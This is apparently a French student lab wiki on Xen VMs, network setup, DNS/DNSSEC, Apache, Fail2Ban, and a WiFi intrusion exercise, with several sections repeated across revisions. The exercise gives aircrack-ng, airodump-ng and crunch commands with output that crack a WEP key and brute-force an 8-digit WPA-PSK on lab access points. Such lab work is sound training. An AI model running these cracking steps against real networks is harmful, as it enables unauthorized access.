<code>apt update</code>

<code>apt install fail2ban</code>

==== Définition du Fail2Ban ====
Dans le fichier <code>/etc/fail2ban/jail.local</code> de la '''machine mandataire''', nous pouvons définir la façon dont le fail2ban va agir.<syntaxhighlight>
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3
</syntaxhighlight>Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-23T13:50:21Z

Tmerien : /* SSH depuis l'extérieur */

== Informations utiles ==
{| class="wikitable"
|+
!Machine
!Nom
!Site web
!IPv4 publique
|-
|Ma machine de service
|TomPere2
|tompere2.xyz
|''NA''
|-
|Machine de service d'Aurèle
|TomPere1
|tompere.online
|''NA''
|-
|Machine mandataire
|TomPere0
|''NA''
|193.48.57.168
|}

== Machines virtuelles ==

=== Créer ses VMs ===

==== Prérequis ====

Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell">
ssh root@capbreton
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.

==== Création ====

Voici la commande permettant de créer ma machine de service. A noter que l'on était initialiement sur la distribution Excalibur, mais nous avons finalement changé pour Daedalus.<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight>
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2
</syntaxhighlight>

==== Vérification ====
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight>
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées !

=== Partionnage ===

==== Configuration ====
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell">
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
</syntaxhighlight>

==== Montage des partitions ====
<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell">
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage.

== Configuration réseau ==
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.

=== Ping entre les deux machines de services ===
Comme premier jalon, intéressons nous à la façon de relier nos machines de services.

Pour ce faire, nous avons d'abord modifier les fichiers <code>/etc/network/interfaces</code>.

Sur ma machine de services TomPere2 :<syntaxhighlight lang="vim">
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
gateway 192.168.0.1
</syntaxhighlight>et sur la machine mandataire TomPere0 :<syntaxhighlight lang="vim">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0

auto eth1
iface eth1 inet static
address 193.48.57.168
netmask 255.255.255.224
gateway 193.48.57.162
</syntaxhighlight>Après un <code>ifdown eth0</code> puis <code>ifup eth0</code> pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à <code>eth0</code> avec la commande <code>ip address</code>.

De ce fait, nous avons pu '''ping''' d'une machine à l'autre via le commutateur virtuel.

==== Résultat ====
{| class="wikitable"
|+IPs de TomPere1
!TomPere1
!IPs
|-
|IPv4
|192.168.0.2
|-
|IPv6
|2001:660:4401:60a0:216:3eff:fe4b:1909
|}
Nous pouvons voir dans le tableau ci-dessus les '''IPs de la machine de service TomPere1''', ce qui nous permettra de '''tester la connexion avec l'utilitaire ping'''.<syntaxhighlight>
root@SE4-Tompere2:~# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 ms
</syntaxhighlight><syntaxhighlight>
root@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 ms
</syntaxhighlight>TomPere 2 reçoit bien une réponse !

=== SSH depuis l'extérieur ===
Pour pouvoir se SSH depuis l'extérieur, il faut commencer par activer l'option sur les machines.

Pour cela, rien de plus simple, il faut aller dans le fichier <code>/etc/ssh/sshd_config</code> des VMs et activer la directive <code>PermitRootLogin</code>.<syntaxhighlight lang="shell">
PermitRootLogin yes

</syntaxhighlight>Désormais, l'accès de root à distance est autorisé. On peut donc se '''ssh de TomPere2 vers TomPere1 et inversement''' !<syntaxhighlight>
root@SE4-Tompere2:~# ssh root@2001:660:4401:60a0:216:3eff:fe4b:1909
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
</syntaxhighlight>C'est pratique, mais ce n'est pas encore ce que l'on veut.

Nous voulons pouvoir se SSH depuis l'extérieur. L'idée va être de dire à la machine mandataire de rediriger certains ports que l'on choisit, vers les machines de services.

Dans notre cas, nous appliquerons la redirection suivante :
{| class="wikitable"
|+
!Nom de la VM
!Port de redirection associé
|-
|TomPere1
|2201
|-
|TomPere2
|2202
|}
Dans le fichier <code>/etc/sysctl.conf</code>:<syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Ensuite nous activons la translation d'adresse NAT.<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE
</syntaxhighlight>Remarque : Pour que ces changements soient persistants, il faut installer le paquet <code>iptable-persistent</code>.<syntaxhighlight>
nft add chain PREROUTING
nft add rule NAT PREROUTING tcp dport 2201 dnat to 192.168.
</syntaxhighlight>

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code>

De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

=== Objectif ===
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install apache2</code>

==== Paramètrage sur machine mandataire ====
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.

*<code>a2enmod ssl</code> : active le module SSL pour permettre les connexions sécurisées en '''HTTPS (TLS)''' avec certificats.

*<code>a2enmod proxy</code> : active les fonctionnalités de '''reverse proxy''', permettant à Apache de rediriger les requêtes vers un autre serveur.

*<code>a2enmod proxy_http</code> : active le support du proxy pour le protocole '''HTTP.'''

Sur la machine mandataire, nous avons créé et rempli le fichier <code>/etc/apache2/sites-available/000-tompere2.xyz-ssl.conf</code><syntaxhighlight lang="vim">
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>

<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>

</syntaxhighlight>Ce fichier permet à la machine mandataire de gérer l’accès au site '''tompere2.xyz'''.

Dans le fichier <code>/var/www/html/index.html</code>, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.<syntaxhighlight lang="html">
<title>Tom et Aurele Page: It works</title>
</syntaxhighlight>

==== Résultat ====
Finalement, nous obtenons bien un accès au site '''tompere2.xyz''' avec le nouveau titre ![[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

=== Contexte et objectifs ===
Les machines '''exposées en SSH''' sur Internet sont constamment ciblées par des '''attaques automatisées''' qui enchaînent des milliers de tentatives de '''connexion par force brute''' afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme '''Fail2ban pour détecte'''r ces tentatives répétées '''et bloquer''' automatiquement les adresses IP malveillantes.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install fail2ban</code>

==== Définition du Fail2Ban ====
Dans le fichier <code>/etc/fail2ban/jail.local</code> de la '''machine mandataire''', nous pouvons définir la façon dont le fail2ban va agir.<syntaxhighlight>
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3
</syntaxhighlight>Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-23T13:34:34Z

Tmerien :

== Informations utiles ==
{| class="wikitable"
|+
!Machine
!Nom
!Site web
!IPv4 publique
|-
|Ma machine de service
|TomPere2
|tompere2.xyz
|''NA''
|-
|Machine de service d'Aurèle
|TomPere1
|tompere.online
|''NA''
|-
|Machine mandataire
|TomPere0
|''NA''
|193.48.57.168
|}

== Machines virtuelles ==

=== Créer ses VMs ===

==== Prérequis ====

Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell">
ssh root@capbreton
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.

==== Création ====

Voici la commande permettant de créer ma machine de service. A noter que l'on était initialiement sur la distribution Excalibur, mais nous avons finalement changé pour Daedalus.<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight>
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2
</syntaxhighlight>

==== Vérification ====
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight>
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées !

=== Partionnage ===

==== Configuration ====
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell">
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
</syntaxhighlight>

==== Montage des partitions ====
<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell">
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage.

== Configuration réseau ==
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.

=== Ping entre les deux machines de services ===
Comme premier jalon, intéressons nous à la façon de relier nos machines de services.

Pour ce faire, nous avons d'abord modifier les fichiers <code>/etc/network/interfaces</code>.

Sur ma machine de services TomPere2 :<syntaxhighlight lang="vim">
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
gateway 192.168.0.1
</syntaxhighlight>et sur la machine mandataire TomPere0 :<syntaxhighlight lang="vim">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0

auto eth1
iface eth1 inet static
address 193.48.57.168
netmask 255.255.255.224
gateway 193.48.57.162
</syntaxhighlight>Après un <code>ifdown eth0</code> puis <code>ifup eth0</code> pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à <code>eth0</code> avec la commande <code>ip address</code>.

De ce fait, nous avons pu '''ping''' d'une machine à l'autre via le commutateur virtuel.

==== Résultat ====
{| class="wikitable"
|+IPs de TomPere1
!TomPere1
!IPs
|-
|IPv4
|192.168.0.2
|-
|IPv6
|2001:660:4401:60a0:216:3eff:fe4b:1909
|}
Nous pouvons voir dans le tableau ci-dessus les '''IPs de la machine de service TomPere1''', ce qui nous permettra de '''tester la connexion avec l'utilitaire ping'''.<syntaxhighlight>
root@SE4-Tompere2:~# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 ms
</syntaxhighlight><syntaxhighlight>
root@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 ms
</syntaxhighlight>TomPere 2 reçoit bien une réponse !

=== SSH depuis l'extérieur ===
Pour pouvoir se SSH depuis l'extérieur, il faut commencer par activer l'option sur les machines.

Pour cela, rien de plus simple, il faut aller dans le fichier <code>/etc/ssh/sshd_config</code> des VMs et activer la directive <code>PermitRootLogin</code>.<syntaxhighlight lang="shell">
PermitRootLogin yes

</syntaxhighlight>Désormais, l'accès de root à distance est autorisé. On peut donc se '''ssh de TomPere2 vers TomPere1 et inversement''' !<syntaxhighlight>
root@SE4-Tompere2:~# ssh root@2001:660:4401:60a0:216:3eff:fe4b:1909
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
</syntaxhighlight>C'est pratique, mais ce n'est pas encore ce que l'on veut.

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

